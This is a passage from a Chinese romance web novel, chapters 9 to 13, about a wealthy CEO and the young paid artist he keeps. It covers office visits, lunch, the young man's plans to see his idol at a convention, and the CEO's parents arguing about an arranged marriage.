剥开,塞进嘴里。
嚼嚼嚼。
又摸出一颗,剥纸。
塞进嘴里。
又摸出一颗。
嚼嚼嚼。
好甜。
陆时深没答。
沈确也不等他答,自顾自往下说:“苏越这次回来估计就不走了,他家那边应该会安排他进公司,在国外镀了几年金,现在回来接班名正言顺。”
他停顿片刻,语气里带上一点微妙的笑意:“你妈估计想趁老太太寿宴,让你们叙叙旧。”
叙旧这两个字被他咬得格外清晰。
陆时深还是那副什么都漠不关心的样子,甚至连眼神都没波动一下。
“说完了?”
“说完了。”
江砚嚼着巧克力,目光落在地毯一小块污渍上。
他在想那块污渍是咖啡还是茶。
应该是咖啡。
因为陆时深喝咖啡。
嗯,合理。
沉默片刻,沈确想起来什么似的,又说,“苏越托我转告你,他很想见你。”
巧克力一颗接一颗。
他其实没太听进去两个人在说什么,那些话像隔着一层玻璃,声音传进来,但内容飘远了。
他只是在想。
今天早上出门前,陆时深给他换衣服的时候,那件卫衣他本来想穿另一件的,浅灰色的那件,但陆时深说蓝色衬他。
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>其实灰色他也喜欢。
但算了,蓝色也挺好。
今天好像游戏出新活动预告,那个限定皮肤是真好看,流光特效,大招是漫天樱花,多少钱来着?保底三千八百八?有点贵,但反正现在有钱了,抽一抽也不是不行。
数位屏应该后天就能到了,新板子手感应该很好。
“不见。”
陆时深的声音把他从走神中拉回来一点。
江砚眨眨眼,发现自己手里的巧克力不知道什么时候被捏碎成好几块。他低头看着掌心,有点茫然,什么时候捏碎的?
他把碎屑倒进垃圾桶,拍了拍手,然后发现陆时深正看着他。
江砚眨眨眼,回以一个什么事?的表情。
陆时深没说话,只是收回视线。
沈确把这一幕收进眼底,站起身。
“行了,正事说完了。”他起身理了理毛衣领口,“走了。”
经过江砚身边时,他脚步停了一下,“小朋友,”沈确低头看他,眼底带着点笑意,“真不加微信?”
江砚还没开口,陆时深的声音从旁边传来:“不加。”
沈确愣了一瞬,然后笑出声,“行,”他把手机收回口袋,“你的人,你说不加就不加。”
他走到门口,忽然又回头,视线越过陆时深,落在江砚脸上。
“下次见,小朋友。”
门关上了。
办公室里重新安静下来。
江砚还保持着刚才的姿势,手指上沾着一点巧克力,被体温融化了点,黏糊糊的。
陆时深看向他,感觉到视线,江砚抬起头,正好对上陆时深的视线。
男人那双眼睛黑沉沉的,像盛着什么话要说。
“砚砚。”陆时深开口。
江砚歪了歪头:“嗯?”
江砚的表情坦然,眼神清澈。
陆时深其实不意外,一个月了,他足够了解江砚,江砚有一种很厉害的技能,遇到不想听或听不懂的事,他会自动屏蔽。像有一道看不见摸不着的屏障,咔哒一声落下来,把那些不该进的东西挡在外面。
然后该干嘛干嘛,画画,打游戏,数钱,笑。
陆时深看着他这副模样,忽然就觉得自己刚才那些关于苏越想解释的话,没必要说了。
江砚把最后一颗巧克力塞进嘴里,腮帮子鼓出一小块,像仓鼠囤粮,“怎么不说话了?”然后他低头拍掉指腹上沾的碎屑,顺手把糖纸叠成一只歪歪扭扭的纸鹤。
叠完才反应过来,他盯着那只丑陋的纸鹤看了两秒,正准备丢进垃圾桶,陆时深的视线落在那只歪扭的纸鹤上,然后他伸手,将它从江砚手里拿了过来。
江砚眨巴眼:“老板?”
“嗯。”
“那个是我叠坏的。”
“知道。”
“很丑。”
“不丑。”说完把纸鹤放进了他西装内侧的口袋里。
江砚:“……?”
“老板,”江砚斟酌着开口,“那个真的叠得很丑。”
“你放那里,待会掏东西掉出来多尴尬。”
“不会。”
江砚张了张嘴,想说什么,又觉得说什么都不太对。
最后他选择放弃。
“老板,我去洗个手。”他站起来,晃了晃那只沾着融化的巧克力印子的手。
陆时深看了眼他指尖那点棕色的痕迹,点头:“走廊尽头右转。”
“知道啦。”
江砚推开门往外走。
10.第 10 章
走廊比办公室更安静,几个秘书在工位上埋头敲键盘,连余光都没分过来半寸,陈特助不在位置上,大概去忙别的了。
江砚沿着走廊往右走。他其实不太确定洗手间在哪儿,但陆时深说了右转,右转就对了。
然后在拐角,差点撞上一个人。
他猛地刹住,抬头。
沈确。
对方显然也没料到会在这儿遇见他,脚步一顿,随即挑了挑眉。
“小朋友。”
江砚往后退了半步:“……沈先生。”
沈确笑了一声:“叫全名就行,沈先生听着像我爸。”
江砚不知道该怎么接,只好干巴巴笑了一下。
走廊很安静,沈确没急着走,他靠在墙边,姿态散漫,像是在等什么,又像只是单纯地站这儿,但他一直看着江砚的脸。
江砚被看得有点不自在,正准备说“我先去洗手”溜之大吉,沈确忽然开口:“刚才办公室没说完。”
“嗯?”
“苏越,就是刚才我说要回国那个。”他说,“他跟我,跟时深从小认识。”
“两家走得近,长辈们……有点想法。”
原来是这个,江砚嗯了一声。
沈确看着他,忽然笑了一下:“你反应还挺平淡。”
“我应该有什么反应?”江砚有点想笑,“如果沈先生在敲打我,那我只能说您多虑了。”
“行。”沈确走过来。
江砚下意识又后退。
“你的眼睛,”沈确突然夸人,“很好看。”
江砚:“?”
“琥珀色的,少见。”
江砚:“。”
他从小就知道自己眼睛颜色浅,小学时候还被同学问过是不是戴美瞳,他说不是,人家还不信,后来长大了也习惯了,没觉得多特别,顶多拍照的时候显得瞳孔亮一点。
“那,谢谢?”他试探地说。
听见他的回答,沈确唇角微微扬起,那笑意有点意味深长。
“难怪。”他轻声说。
江砚没听清:“什么?”
沈确没答,“我随便说说,”他往后退了一步,恢复了那副懒散模样,“别放心上。”
他越过江砚,往电梯方向走,但走出几步,忽然又回头。
“对了。”
江砚看着他,又咋了。
沈确站在那里,逆着光,看不清表情。
“加微信的事,我刚才不是逗你。”他说,“是真想加。”
江砚张了张嘴。
沈确冲他扬了扬下巴,笑了一下,像只是随口提了一句,“可惜啊,你家陆总看太紧了。”然后转身走了。
电梯门合上,走廊重新安静。
真奇怪这人,江砚心想,随即收回视线,往厕所走。
推开门,洗手台是大理石的,感应水龙头,自动出泡沫,他把手伸过去,水冲掉手上的巧克力,冲得很干净。
然后他抬头,看镜子,镜子里的人顶着一头金毛,皮肤还行,就是黑眼圈有点重,以前熬夜熬的。
他凑近了一点,盯着镜子,看自己眼睛。他的眼睛是那种偏圆的眼型,眼尾微微向下,平时笑着的时候像月牙,不笑的时候看起来有点无辜,外婆说这叫桃花眼,招人,也招事。
右眼下方,靠近颧骨的位置,有一粒很小的泪痣。
他抬手,指尖按了按那颗痣。
外婆的声音好像还留在耳边:砚砚啊,眼睛下面有泪痣的人,命苦,外婆以前在村里听老人说的,你这辈子啊,怕是要流很多眼泪的。
他那时候多大?七八岁?仰着头问外婆:那我能不能把它点掉?
外婆笑着摸他的头:傻孩子,命是点不掉的。
江砚盯着镜子里那颗痣,然后他笑了一下。
什么命苦,他活了十九年,爹妈离婚早,没人管他,那就不管呗,外婆去世后,自己养活自己也挺有意思,没钱的时候啃馒头就老干妈,有钱的时候吃顿好的,接单遇到奇葩甲方就骂两句,画完收钱美滋滋。
可能苦真有一点?
但那是没遇到陆时深之前,现在?每天睡醒手机一开,七位数余额亮晶晶,陆老板亲自伺候穿衣喂饭,陪打游戏还给奖金。
这叫什么?这叫祖坟冒青烟,老天爷赏饭吃,他觉得他命挺好的。
江砚对着镜子龇了龇牙,然后拧开水龙头洗了一把脸,最后抽了两张纸巾把手和擦干,纸团扔进垃圾桶,转身推门出去。
回到办公室。
陆时深还坐在沙发上,姿势和他出去时几乎没变,听到动静,他抬起眼,目光落到江砚身上。
“这么久。”他说。
“遇到了你那个朋友,”江砚走回沙发坐下,“在走廊,说了几句话。”
陆时深皱眉:“说了什么?”
“说了……”江砚想了想,决定简化,“说你们小时候就认识,还有那个苏、苏什么来着?”
“苏越。”陆时深说。
“对,苏越。”江砚点点头,“说你们两家走得近,长辈们有想法什么的。”
他说这话的时候语气很随意,一边说一边又拆开一袋坚果,塞进嘴里。
陆时深看着他,江砚腮帮子鼓出一小块,嚼嚼嚼。
“你没什么想问的?”陆时深说。
江砚把坚果咽下去,想了想。
“嗯……”他歪着头,“苏越这个人,性格好吗?”
“还行。”他简短地说,“没什么不好。”
“长得帅吗?”
“……还可以。”
“哦。”江砚点点头,又摸了一颗坚果,“那跟我比呢?”
陆时深看着他,江砚对上他的目光,眨眨眼。
陆时深笑了一下。
“你。”他说。
“啊?”
“你好看。”陆时深说。
江砚愣了愣,然后点点头,非常受用地接受了这个评价,“那当然,我可是你花大价钱养着的。”说得理直气壮,毫不心虚。
然后他眼睛转了转,又问:“所以那个苏越,他是你父母喜欢的类型?”
少年的表情坦坦荡荡,问这话的时候甚至还在往嘴里塞坚果,眼睛亮晶晶的,里头写满了“我就是随便问问”。
陆时深很诚实的回答:“是。”
江砚点点头,然后把嘴里的坚果咬得咯嘣脆,“那挺好的。”他咽下去,又摸了一颗,语气轻快,“这就是小说电视剧里演的那种,门当户对嘛。”说完自己乐呵呵笑了两声,顺手把手里那枚坚果递到陆时深嘴边。
“奖励你回答我的问题。”
那是一颗杏仁,陆时深看着那颗杏仁,又看着江砚,少年嘴角还挂着没心没肺的笑意,眼睛弯成两道月牙,那粒
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泪痣随着笑容微微上提,在阳光下像落了一粒碎金。
笑得没心没肺,是真的没心没肺。
他是真的觉得门当户对挺好的,也是真的觉得这件事值得他奖励一颗坚果。
陆时深垂着眼,看着递杏仁的那只手,手指细白,指尖干干净净,泛着健康的粉色,此刻正捏着那颗杏仁,往他嘴边送。
陆时深的喉结动了一下。
江砚举着杏仁等了一会,见陆时深没反应,以为他不吃。
“不吃啊?那我——”
他正准备收回手。
忽然,陆时深低头。
张嘴。
含住了那颗杏仁。
连同江砚的指尖。
温热的唇贴上来,柔软的触感裹住手指,那一小片皮肤像是被什么烫了一下,热意从指尖窜上来。
江砚愣住了。他眨眨眼,看着自己被含住的指尖,又看着陆时深。男人垂着眼,表情看不太清,只能感觉到唇瓣的温度,和一点点若有若无的湿意。
就那么含着。
几秒后,陆时深松开,把杏仁咬进嘴里,慢慢咀嚼。
江砚还保持着伸手的姿势,指尖悬在半空,那一小块皮肤上还残留着刚才的触感。
“……老板,”他斟酌着开口,“手很脏的。”
陆时深没说话,然后他伸出手,握住江砚还悬在半空的那只手,那动作很轻,只是握着,指腹压在江砚的掌心。
“江砚。”陆时深叫他的名字,不是砚砚,是江砚。
江砚眨眨眼,跟他对视,男人眼睛里的情绪太深了,深得像看不见底的海,有江砚读不懂的东西在里面翻涌。
最后男人什么都没说,他只是握着那只手,握了很久。
“老板。”江砚凑近一点,表情认真,语气关切,“你是不是累了?”
陆时深没说话,江砚觉得自己猜对了,陆时深早上七点就起床,路上还在处理工作,到公司马不停蹄开会,还要应付突然杀上门的朋友,听他讲什么长辈,什么门当户对的对象回国,换他他也累,而且这种累不是睡一觉能解决的,是那种……精神层面的疲惫。
“你要是累了就休息一下,”江砚体贴地说,“不用管我,我自己玩就行。”
话音刚落,腰忽然被揽住了,下一秒,他整个人被捞进一个怀抱。
“哎——”江砚猝不及防,脸撞进他胸口,闷闷地叫了一声。
陆时深的手臂环过他的背,手臂收紧,把人牢牢箍在怀里,那力道有点大,像是要把这个人揉进骨血里,又像是怕他下一秒就会消失。
“老板?”
“……嗯。”
“你干嘛?”
“充电。”陆时深的声音闷闷的,从肩窝里传出来。
江砚愣了一下,然后笑了。
“老板,你多大了?”语气里带着点调侃,“还充电呢。”
陆时深沉默,只是把他抱得更紧了一点。
江砚被他勒得难受,但又不好再挣扎,最后心想算啦,看在你这么累的份上,他抬起手,拍了拍陆时深的后背,像安抚一只突然情绪低落的大型犬。
其实江砚不太会安慰人,但他觉得自己作为另一种员工,还是应该提供一点情绪价值。于是他放松身体,更贴近了陆时深,下巴抵着陆时深的肩窝,声音放得很轻:“累了就多抱一会儿,我会陪着你。”
11.第 11 章
说完自己都觉得这话有点肉麻,但转念一想反正陆时深付了钱的,说点好听的怎么了?这叫员工情绪价值到位。
过了很久,大概有五分钟?也可能是十分钟?江砚不太确定,他都快被抱睡着了。
终于,陆时深的手臂松动了一些。
“饿不饿?”声音从头顶传来。
江砚从他怀里挣出来,理了理被蹭乱的头发,“还行,”他说,“刚才吃了好多零食。”
“那中午想吃什么?”
江砚想了想:“你中午都吃什么?”
陆时深停顿了一下,那一下很短,短到几乎察觉不出来,但江砚正看着他,捕捉到了那瞬间的停顿。
“随便吃点。”陆时深说。
江砚眨眨眼:“随便吃点是什么?”
陆时深没说话。
江砚歪着头看他,等了一会,没等到答案。他又问:“你不会不吃午饭吧?”
陆时深还是没说话,江砚的表情变了,他坐直身体,从陆时深怀里完全退出来,正对着他,上下打量,“陆时深。”他叫他的名字,语气和平时不太一样。
“你管教我的时候可不是这样的。”江砚伸出手戳了一下陆时深肩膀,“你管教我的时候,”然后开始一根一根掰手指,“你让我好好吃饭,不许熬夜,三餐规律,每天喝牛奶,每周只能吃两次垃圾食品,冰淇淋一周一次,可乐不能每天喝。”
他数完了,抬头看陆时深,表情严肃,“结果你自己呢?”
陆时深张了张嘴,似乎想说什么,江砚没给他机会,“你还说我胃不好要养,你自己的胃是铁打的?”他越说越来劲,声音也拔高了一点,“如果不是我跟着你来公司,我都不知道!”
一瞬间,陆时深眼睛里的情绪变得有些复杂。
江砚继续输出:“你自己都不吃饭,那以后我也不吃了。”这话说出来,他自己都觉得有点耍无赖,但管他呢。
陆时深的眼神动了动,“砚砚。”他开口,声音放得很轻。
“干嘛。”江砚别过脸,不理他。
陆时深伸手,想把他拉回来,江砚往旁边挪了挪,躲开。
“砚砚。”又叫了一声。
江砚还是不理,他看着落地窗外面,表情绷得紧紧的。
其实他也不知道自己为什么突然这么来劲,按理说,陆时深吃不吃饭关他什么事?老板的事,员工管得着吗?他又不是他爹他妈,也不是他营养师,更不是他……
反正就不该他管。
但刚才听到那句随便吃点,然后看到陆时深那一下停顿,他心里就蹭地冒出一股火。
这人天天盯着他吃饭睡觉,一日三餐比闹钟还准时,晚上到点催他睡觉,比亲爹还亲爹,结果呢?他自己在公司,可能一整天连口水都顾不上喝。
这叫什么?
这叫双标。
这叫只许州官放火不许百姓点灯。
这叫——
“生气了?”陆时深的声音从旁边传来,带着一点笑意。
“我才没生气,”后知后觉江砚发现陆时深在笑,转头瞪他,“你笑什么?”
陆时深没答,只是看着他,眼底的温柔几乎要溢出来,他伸手,这次成功地把他拉了回来,手臂环过他的腰,江砚挣扎了一下,没挣开。
“我笑是因为,”陆时深笑着说,“我很开心。”
开心?为什么开心,挨骂还要开心?正常人被凶了应该是这反应吗?最不济也应该说一句“关你什么事”吧?结果这位爷倒好,被凶了反而笑了,还说开心。
江砚眉头皱成一团,下意识伸手摸了摸陆时深额头的温度,又试了试自己额头的温度,也没发烧啊。然后狐疑地打量他,试图从那张脸上找出一点阴阳怪气的痕迹,没有,陆时深表情坦坦荡荡,目光炽热的要命。
但江砚被这眼神看得有点发毛,像是要把他整个人都装进去,他下意识往后仰了仰脖子,试图拉开一点距离,但腰被箍着,躲不开。
“你、你别这样看我……”江砚有点结巴。
“哪样?”陆时深问,声音低低的。
江砚说不上来,“就……”江砚舔了舔嘴唇,“怪怪的。”
陆时深没说话,只是看着他,眼里的情绪沉沉的,过了一会,他松开手。
江砚立刻往后挪了挪屁股,拉开安全距离。
陆时深看着他那副如临大敌的模样,眼底掠过一丝笑意,“中午吃什么?”他问,语气恢复正常。
江砚眨眨眼,话题跳得太快,他还没从刚才那种奇怪的气氛里缓过来。
“啊?”
“你不是要监督我吃饭?”陆时深说,“说吧,想吃什么。”
江砚回过神来,“食堂。”他说,“你们公司应该有食堂吧?”江砚理直气壮,“我要去看看你平时吃的都是什么。”
“好。”
两人准备一块下楼吃饭,江砚刚准备站起来,好像想起来什么似的突然停住了,然后他转过头,打量了一下陆时深,抿了抿唇,做思考状。陆时深平时在公司什么形象?行走的制冷机啊,陆时深是什么人?是那种走进公司大堂就能让全场鸦雀无声的人,是那种员工看见他连余光都不敢乱瞟的人。
一瞬间,江砚脑海里浮现出一个画面。
陆时深西装笔挺,面无表情地站在打饭窗口前,食堂阿姨举着勺子问:“小伙子要什么?红烧肉还是糖醋排骨?”
后面排队的员工战战兢兢,大气都不敢出。
……
画面太美,不敢看。
“算了,”他摆摆手,“你别去了。”
陆时深看着他,眼里带着点笑意:“怎么?”
“你一去,估计整个食堂都不敢吃了。”江砚理所当然地说,“到时候大家都盯着你看,你吃得不自在,别人也吃不好,影响多不好。”
他顿了顿,拍板:“等着,我去给你买上来。”说完也不等陆时深反应,转身就往外走。
走到门口又回头:“你平时都吃什么?”转念一想,算了,问了也白问,这人都不吃午饭的。
门开了又关上。
陆时深坐在沙发上
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,看着那扇门,嘴角慢慢弯起来。
过了大概二十分钟,江砚回来了。
手里拎着两个打包盒,还有两杯饮料。
他把东西往茶几上一放,开始一样一样往外掏。
“这个是牛肉饭,”他把一个盒子推到陆时深面前,“我看排队的人最多,应该好吃。”
“这个是鸡丝凉面,”他又拿出一盒,“我自己想吃。”
最后把那两杯饮料放下:“一杯冰美式,给你的,一杯奶茶,我的。”
陆时深看着面前摆得整整齐齐的午饭,又抬头看江砚,少年额角有点汗,脸颊因为走路微微泛红,眼睛亮晶晶的,带着点邀功的意味。
“怎么样?”江砚下巴一扬,“我对你好吧?”
陆时深没说话,只是伸手把他拉坐到身边。江砚顺势坐下,拆开自己的凉面,拌了拌,挑起一筷子塞进嘴里。
“唔,好吃!”他眼睛一亮,又挑起一筷子,递到陆时深嘴边,“你尝尝。”
陆时深低头,就着他的筷子把那口凉面吃进去。
“好吃吗?”江砚眼巴巴地看着他。
“嗯。”
“那就行。”江砚满意了,收回筷子继续吃自己的。
吃了几口,他又想起什么,看向陆时深的牛肉饭,“你怎么不吃?”
陆时深拿起筷子,也开始吃。
江砚一边吃自己的,一边监督陆时深,时不时还要确认一眼。
“你多吃点肉。”
“饭也吃啊,别光吃菜。”
“喝口咖啡,别噎着。”
陆时深全程配合,让他吃什么就吃什么,让喝咖啡就喝咖啡,乖得不像那种随随便便就能骂哭几个高管的陆总,如果陈特助此刻推门进来,大概会怀疑自己走错了片场。
下午时间过的很快,陆时深一如既往的忙,陈特助进来续过两次茶水,市场部的人又来汇报过一次,这次带了几份打印好的方案,陆时深翻了几页,语气依旧淡淡的,提了几个修改意见。
那人走的时候,江砚发现他的衬衫后背湿了一块,他在心里默默给陆时深的威严指数加了几分。
快五点的时候,江砚困了,沙发太软,眼皮开始打架,没多久脑袋一歪,睡着了。
陆时深处理完最后一份文件,抬起头,沙发上的少年睡得无知无觉,嘴唇微微嘟着,蜷成小小一团,金发散乱地搭在靠枕上,呼吸绵长均匀。
陆时深走过去,坐在沙发边,静静地看着他,半晌,他伸出手,指腹极轻极轻地蹭过江砚的脸颊。
江砚醒的时候,眼前一片昏暗,他眨了眨眼,脑子还迷糊着,过了好一会才反应过来,自己不在办公室的沙发上。他侧过头,车窗外是流动的城市夜景,他在车里。
江砚动了动,想坐起来,看到身上盖着陆时深的西装外套,陆时深就坐在他旁边,靠着椅背,腿上放着笔记本电脑,屏幕的光映在他脸上,勾勒出他专注的样子,他眉头微蹙,手指在键盘上敲击,偶尔滑动一下触摸板。
察觉到动静,他转过头,“醒了?”
12.第 12 章
江砚还有点懵,声音黏糊糊的:“几点了……”
“六点半。”陆时深合上电脑,伸手过来,很自然地蹭了蹭他的脸颊。
江砚被意识回笼了一些,坐起来,西装从身上滑落,他下意识捞住,“我怎么在车上?我不是在沙发上睡的吗?”
“嗯。”陆时深顺手从他手里接过那件西装,随手搭在一边,“看你睡得熟,没叫醒,直接抱你下来了。”
江砚:“……”抱下来?从办公室,经过走廊,进电梯,穿过大堂,上车?
他瞪大眼睛,脑子里开始自动播放画面:陆时深西装笔挺,面无表情地抱着一个睡得四仰八叉的黄毛,从总裁办一路招摇过市,前台、保安、员工,全都眼睁睁看着。
江砚倒吸一口凉气,“老板。”他声音发飘。
“嗯?”
“公司有多少人看见我被你抱下来?”
陆时深没说话。
江砚:“……”他捂着脸,整个人往座椅里缩了缩。
陆时深看着他这副模样,眼底泛起笑意,“怎么了?”
江砚声音闷闷的从指缝里传出来,“我社死了。”
陆时深伸手,把他的手指从脸上拿下来,握住,“不会有人提的。”他说。
江砚从指缝里露出一只眼睛:“真的?”
“真的。”
江砚想了想,觉得也是,陆时深在公司那气场,估计没人敢当面说什么,顶多私下八卦一下,反正他又听不见。
他点点头,算是接受了这个解释,然后低头看自己,卫衣皱巴巴的,裤子也皱,头发肯定也乱成鸡窝,就这么被抱着穿过整个公司。
算了,不想了。
他往窗外看了一眼,车子正驶过一段熟悉的路,快到家了。
手机震了一下,江砚摸出来看,是周小元的消息。
【周小元:砚砚砚砚!!!】
【周小元:你看热搜了吗?!】
江砚眨眨眼,打字。
【江砚:刚醒,怎么了?】
周小元直接甩过来一条链接,
江砚点开:顶流陆时晏确认出席下周六邻市漫展,将作为特邀嘉宾与粉丝互动!
江砚眼睛瞬间亮了。
陆时晏!他最喜欢的明星。
江砚立刻往下划拉,热搜说陆时晏这次是给一个游戏品牌站台,会参加漫展的签售环节,还有可能上台互动。
下周六,邻市,江砚心跳加速,他继续往下看,漫展时间是两天,周六周日,夜场也有活动,嘉宾会参加晚上的粉丝见面会。还有见面会,江砚激动得差点从座位上蹦起来。
“怎么了?”陆时深的声音从旁边传来。
江砚抬起头,眼睛亮得惊人:“老板,下周六!陆时晏来隔壁市漫展!”
陆时深看着他,等下文,江砚太激动,没发现陆时深听到这个名字后微变的表情。
“他是我最喜欢的明星!”江砚手舞足蹈,“演《X》那个,演技好,唱歌也超好听,长得也帅!”
他说着,把手机递到陆时深眼前,指着屏幕上的照片,“你看你看,是不是很帅?”
照片上的男人二十岁出头,五官精致,气质清冷,正对着镜头浅笑。
陆时深看了一眼,就一眼,然后收回视线,语气平淡:“还行。”
江砚觉得这个评价不够中肯:“这叫还行?你看这眉眼,这鼻梁,这气质——”
“没仔细看。”陆时深打断他。
江砚愣了一下,然后反应过来,这人好像不太高兴了,事实上确实是不高兴了,因为陆时深一直不说话,一直盯着他看。
嘶。
江砚赶紧哄:“哎呀老板,你放心,他再帅也没有你帅的,你在我心里是最帅的,世界上没有比你帅的男人啦。”花言巧语张嘴就来。
陆时深看着他,眼底情绪不明,“下周六?”他问。
江砚顺竿爬,点头。
“想去?”
“当然想!”江砚眼睛放光,“这种机会千载难逢,他很少参加这样的活动的。”
陆时深沉默了,江砚没注意到,他正兴奋地给周小元回消息。
【江砚:我看到了!】
【江砚:必须去!】
【周小元:我就知道!我已经买好票了!你呢你呢?】
江砚手指飞快。
【江砚:现在买!】
他切出去,打开购票软件,选票,
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付款,一气呵成。
“买好了,”江砚举着手机给陆时深看,“周六去,住一晚,周天回来。”
陆时深看着他,目光落在那张笑脸上,少年眼睛弯成月牙,整个人好像被快乐包围了,这种状态,只有他给他转钱的时候才会看到,陆时深手捏紧了。
“住一晚?”陆时深问。
“嗯嗯,夜场结束太晚了,当天赶不回来。”江砚理所当然地说,“我已经查过了,那边有家酒店离场馆很近,就住那。”
陆时深没说话,江砚继续兴奋地规划行程:“周六早上出发,到了先去场馆,下午排队等签售,晚上参加见面会,周天还能再逛一天,然后下午回来——”
他说着说着,忽然想起什么,转头看向陆时深,“老板你下周六是不是有事。”
陆时深嗯了一声,江砚点点头:“哦,那正好,你忙你的,我去看我的偶像,完美!”他说完,继续低头看手机,开始翻漫展的攻略。
陆时深看着他,眼底掠过一丝什么,“江砚。”他忽然开口。
江砚抬头:“嗯?”
“陆时晏……”陆时深顿了顿,“你很喜欢他?”
“喜欢啊!”江砚点头,“从他第一部戏就开始追了,演技好,长得帅,唱歌也好听,性格也低调,从来不炒作,简直是完美偶像!”
陆时深沉默,江砚继续输出:“可惜一直没机会见真人,这次终于能见到了。”他越说越兴奋,眼睛亮晶晶的,陆时深看着他,手指无意识捏紧。
江砚没注意到他的异常,继续低头刷手机。
陆时深的手机忽然响了,他拿出来看了一眼,屏幕上显示着两个字:母亲。
陆时深没接,铃声持续了几秒,然后停了。
江砚眨眨眼,问:“老板,你怎么不接?”
“没什么重要的事。”陆时深把手机调成静音,放回口袋。
江砚哦了一声,没再多问。
过了几分钟,手机又震动了两次,陆时深拿出来看了一眼,然后直接按掉,之后再也没有响过。
车子驶入别墅车库,停下,两人下车。
江砚还沉浸在兴奋里蹦蹦哒哒往家里走,陆时深跟在他身后,眼神沉沉的。
13.第 13 章
同一时间,陆家老宅。
客厅里的对话已经持续了将近一个小时。
陆母周韵笙坐在沙发上,五十出头的年纪,保养得宜,穿着一件剪裁简洁的青色旗袍,颈间一串南洋金珠,整个人素净又矜贵,她正低头看手机,神情淡淡的,看不出喜怒。
陆父陆正安坐在对面的单人沙发上,手里捏着一份文件,眉头皱得能夹死苍蝇。
“你看看这些东西,”他把文件往茶几上一摔,“像什么话!”
陆母没抬头:“你急什么。”
“我不急?你儿子在外头养了个——”
“说话注意点。”陆母终于抬起眼,目光平静地扫过来,“什么养不养的,难听。”
陆父被她这一眼看得噎住,哼了一声,重新拿起那份文件,翻了两页,又忍不住开口:“十九岁,画画的,父母离婚后各自再婚没人管他,家里没一个正经人。”
陆母端起茶杯,抿了一口。
陆父不悦,“你不说话是什么意思。”
陆母放下茶杯,语气不疾不徐:“时深二十八了,不是十八,他在外头做什么,有他自己的分寸。”
“分寸?”陆父瞪眼,“他要是有分寸,就不该——”
“不该什么?”陆母打断他,“不该自己开公司?不该把陆氏集团总部那帮老家伙甩在身后?不该二十八岁就做到今天这个位置?”
陆父张了张嘴,没说出话。
陆母继续说:“他现在的一切,是他自己挣来的,没靠家里一分一毫,那他在外头做什么,和什么人在一起,咱们有什么资格管?”
陆父被她堵得说不出话,憋了半天,憋出一句:“那也不能由着他胡来!”
“胡来?”陆母轻轻挑眉,“时深做事向来有分寸,什么时候胡来过?”
“那你是什么意思?”陆父把文件往茶几上一拍,“就由着他跟这个……这个——”
“这个什么?人家有名字。”
客厅安静了片刻。
陆父的声音再次响起,这次带着一丝烦躁:“下周六老太太寿宴,他总要回来吧?到时候我得跟他谈谈。”
“谈什么?”
“谈什么?谈这个江砚!谈和苏家的婚事!”
陆母放下茶杯,抬眼看他,那目光让陆父莫名有点发虚。
“苏越的事,”陆母说,“是咱们两家大人的想法,不是时深的。”
陆父皱眉:“那又怎么样?苏越那孩子多好,从小看着长大,知根知底,两家门当户对,他要是跟苏越在一起——”
“在一起做什么?”陆母打断他,“结婚?过日子?”
陆父被问住了,陆母轻轻叹了口气,那叹气声很淡,淡得像只是呼吸重了一点。
“你想让时深过什么样的日子?”她问,“像咱们这样?”
陆父的脸色变了,他看着她,那张保养得宜的脸上,此刻依然平静无波,眼神也淡淡的,看不出任何情绪,但陆父知道,那句话是什么意思。
像咱们这样,联姻,貌合神离,各过各的,维持一个体面。
三十年前,陆家和周家联姻,是为了整合资源,是为了在商场上更进一步,他们做到了,但代价呢?
他陆正安在外面有过多少个女人,周韵笙从来不问,她只要一个名分,只要周家的利益不受损,其他的,她都可以睁一只眼闭一只眼。
包括那个……私生子。
陆父想起突然冒出来的那个孩子,六岁,被送到他面前,说这是他的儿子。
周韵笙知道这件事的时候,表情和现在一样,淡淡的,看不出任何情绪。
她只是说了一句:“那就养着吧。”
那时候陆父就在想,这个女人到底有没有心?
或者说,她的心,早就在这些年里,一点一点冷透了。
现在她用这句话问他:你想让时经过这样的日子吗?
陆父张了张嘴,想说什么,却什么都没说出来。
客厅再次陷入沉默。
陆母伸手,拿起茶几上那份关于江砚的资料,翻开,一页一页看过去。
履历很简单,甚至可以说单薄,普通家庭出身,父母离异后各自重组家庭,跟着外婆长大,外婆三年前去世,现在美院读大二,成绩不错,兼职画手,收入不高但能养活自己。
没有任何可以拿得出手的背景,但也没有任何污点,干干净净的一个人。
良久,她合上资料,放回茶几上,开口,“时深既然把人带在身边,就有他的道理。”
陆父皱眉:“你就不管?”
“管什么?”陆母看着他,眼底有一丝陆父看不懂的情绪,“管他喜欢什么人?还是管他不喜欢什么人?时深的性格你不知道?管的代价就是,他离开家,六年了,除非逢年过节,连家都不愿意回。”
陆父的表情复杂起来。
六年前,陆时深二十二岁,刚从国外回来,那时候陆父想让他进陆氏集团,接手家里的产业,那是所有世家子弟的路,顺理成章。
但陆时深拒绝了。
他要自己做,陆父当时觉得他疯了,陆氏是什么体量?他自己开做?能做出什么名堂?
父子俩大吵一架,陆时深摔门而去,从那以后就搬出了老宅。
后来的事情,所有人都知道了。
陆时深用两年时间,把一家初创公司做成了行业新星,五年后,陆氏集团引以为傲的几个板块,在陆时深的公司面前已经不够看了,到现在,六年过去,陆时深的公司早已不是当初那个小打小闹的初创企业,而是足以和陆氏平起平坐的存在,甚至在有些新兴领域,陆氏还要仰仗他。
他做到了没用家里一分钱,没用家里一点人脉,那他现在凭什么听家里的?
“那你的意思是?”陆父的声音低了下去。
陆母没回答,只是端起茶杯,又抿了一口。
半晌,她放下茶杯,说了一句:“先看看。”
“等他和苏越见了面再说。”
陆父看着她,忽然就笑了。
他知道她什么意思。
先看看,看看陆时深对那个少年到底有多认真。等他和苏越见了面再说,等那个从小一起长大知根知底门当户对两家都满意的苏越出现,看陆时深会怎么选。
周韵笙从来不会像他一样,拍桌子瞪眼地说不行。
他知道她不喜欢联姻,但为了家族,她依旧不得不做出选择。
这就是周韵笙,结婚三十多年,哪怕知道他在外面有女人,有私生子,她也永远处变不惊,永远得体优雅。
只要不撼动她陆夫人的位置,不影响周家、陆家,她什么都做得出来。
就像当年处理那个私生子的事一样,她没有吵,没有闹,只是淡淡地说了句那就养着吧,然后把那个孩子视入己出,经过她的培养,现在那孩子已经是娱乐圈炙手可热的明星。
陆父看着她,忽然觉得,他好像从来没有看清过这个女人。
……
一周后。
陆家老宅。
这座位于城西的半山宅邸今晚灯火通明。
